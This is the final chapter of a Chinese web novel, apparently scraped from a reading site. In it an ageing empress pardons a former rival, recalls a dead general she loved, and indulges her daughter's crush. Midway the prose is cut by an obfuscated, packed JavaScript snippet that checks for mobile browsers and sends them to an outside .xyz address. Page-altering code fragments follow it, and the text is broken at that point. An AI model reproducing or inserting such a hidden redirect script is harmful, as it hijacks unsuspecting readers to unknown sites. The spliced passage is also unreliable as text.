她沉吟许久,终于决定坦白道:“是。当初陛下听了你的一家之言,还是处死了王之寰,我与你也有宿怨,若她某一日再度听了你的话,未必不会朝我开刀。但我不愿陛下死,我身为女子,地位权力都来源于陛下,陛下死了,我与天下女子也就无别路可选了。” 付清衣突然轻轻笑了,他扬起眉,温和道:“原来如此,有柳大人这句话,我可以放心赴死了。” 明媚的阳光落了他满身,他转头向窗外看去,光遮住他的大半张脸,柳芳歌看不清他的神色,只听见他温柔的嗓音:“我不会将大人今日所为告知陛下,也希望我死后,大人能忠心辅佐陛下……她这一路太坎坷,若能有人陪着,不会太孤单。” 听到这句话的刹那,纵然是柳芳歌,也不免为之沉默下来。她以为自己心硬如铁,从不会后悔自己的选择。 但这一刻,她突然有些后悔了。 柳芳歌抬起眼睛,认真地看着这位与她争斗了半生的政敌,道:“我会的,毒药中,我会加一些延缓毒发的药材,将军或许……来得及与陛下好好告别。” 付清衣笑了,他向她一颔首,轻轻道:“多谢大人。” 面前人的模样渐渐模糊,阳光如水波晃动,宋闻薰的脸出现在她面前,一眨眼就是二十三年。 柳芳歌跪伏在地上,波澜不惊:“请陛下降罪。” 宋闻薰没有说话,她慢慢转过身去,望着窗外新开的桂花,点点如繁星闪烁,香气袭人。桂花下,有两个小宫女有说有笑地相携走过,青春正好。 她被太阳晒得眯了一下眼睛,恍惚中听见了付清衣的声音:“不要忘记阿薰。” 小宫女的背影与曾经的公主重叠,公主提着裙角,飞奔向桂花林深处,一向没有表情的脸上流露出笑意,她要去见她的心上人。 那时她生活在机关算计之中,却好像比现在更快乐。 宋闻薰这一生,弑父弑母弑兄弑姊,六亲缘断,杀孽满身。 大约是上苍不忍她太倒霉,赠了她一个太好太好的人,却被她弄丢了。 柳芳歌跪着,忽然看见伸过来的一只手,纤长白净,指节上有褪不去的疤痕。方才她面对即将到来的死亡都面不改色,此刻却实实在在懵了一瞬间,犹豫地把手放了上去。 宋闻薰扶起了她,收回了手,却没有再去看她,嗓音疲倦:“起来吧,既然清衣放过了你,你自己去辞官。” “……谢陛下。” “你应该谢谢清衣。” “臣女,谢陛下知遇之恩。” 柳芳歌眼眶湿润了,她俯首再度一叩,轻轻呼出一口气。抬眼去看陛下的背影,见她倚靠在窗前,一动不动地望着窗外出神,阳光投射出的光斑移动了位置,遮去她鬓间的白发,一时间如同岁月倒流,她还是从前的模样。 柳芳歌收回目光,向宫墙外走去,她也老了,红颜不再,鬓发微白。然而她的目光却比年轻时更柔缓,带着历经世事的解脱。 女帝登基后的这些年里,女子科举、经商、从军都屡见不鲜,柳芳歌弯腰抱起那把陪了她四十年的琴,卖掉,换成了一间女子私塾的地契。 宋闻薰捧着茶盏,出神地望着窗外的桂花,初秋的风也带着香气,温柔拂过她的面庞,这位以雷厉风行著称的帝王,极难得地发了一会儿呆。 通报声打破了一室寂静,一个年轻的女子踏着阳光走进来,规规矩矩地跪下行了礼:“参见母皇。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450134|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋闻薰转过头看着她散乱的发钗,了然微笑:“高阳,急匆匆过来有什么事吗?” 高阳在众人面前一贯能很好地隐藏自己的情绪,可面对宋闻薰时却像个透明人,她不好意思地低下头,道:“想求母皇一个恩典。” 宋闻薰耐心地看着她。 高阳道:“过几日徐小侯爷班师回朝,儿臣想以母皇的名义办一个接风宴,也好犒劳一下前线辛苦杀敌的将士们。” 宋闻薰瞧了她半晌,忽然笑了。 高阳摸不清她的态度,她一直有点儿怕母皇,母皇总是温和慈祥的,但在很多时候都冷静敏锐到了令人咂舌的程度,有时她以为自己掩盖得很好,刚说一句话就被母皇看出了意图,想到此处,她手心不由得出了一层薄汗。 母皇清亮的眼睛注视着她,笑意几乎快要溢出来,她听见母皇问她:“你喜欢他?” “……没有。”高阳的脸肉眼可见的红了,她脸上强撑着若无其事的表情,假装自己很从容,“母皇莫要取笑儿臣。” 母皇敛了笑意,把手放在她头顶上,轻轻揉了揉:“罢了,朕成全你。” 高阳的眼睛一瞬间亮了起来,她立刻伏地谢恩,宋闻薰含笑看着她,摆了摆手:“圣旨过几日就颁布下去,若你想要什么礼物送给他,随便在国库中选一个便可。秋狩马上到了,就由你来操办,朕会允他参加。” 高阳被母皇突然的善解人意砸晕了,一时间呆立在原地,连谢恩都忘了。 宋闻薰瞧着她这副模样好笑,不由得弯了眼睛,随手把桌上的一叠奏折递给她:“自然有条件,今日之内,把这些奏折批完。” “是,儿臣一定尽力完成!”高阳又是激动又是开心,忙不迭拿过这叠奏折。 从殿中出来时,她眼角眉梢都是笑意,殿门口的李富好奇地看着她:“哟,小殿下,今个儿这是怎么了?高兴成这样。” 高阳没有说话,冲着他比了个“嘘”的手势,转过身后把脸一板,重新变成了那个少年老成的太子,只是脚步轻快得像是踩在云上,一路往宫外去了。 李富看着她这副样子,了然地笑了笑。他回头去看殿中的帝王,见她沉默地坐在高高的龙椅上,目光始终看向窗外,一眨不眨。昏黄的阳光下,她孤寂的背影像刻在古画上的一只倦鸟,在缓慢流淌的时光中褪了色。 她像小时候曾经期盼的那样,站在至高无上的权力之巅,拥万里山河,从此无人再敢轻贱她。 但她一直在等待。 等待高阳长大,等待结束她这太过于漫长的一生。 宫墙内外永远有新的故事,然而清衣与阿薰的故事,早已经在二十三年前的那个春日落幕了。 从此以后,回头万里,故人长绝。 ——全文完—— “回头万里,故人长绝”出自辛弃疾《贺新郎·别茂嘉十二弟》,原文如下:“将军百战身名裂,向河梁、回头万里,故人长绝。”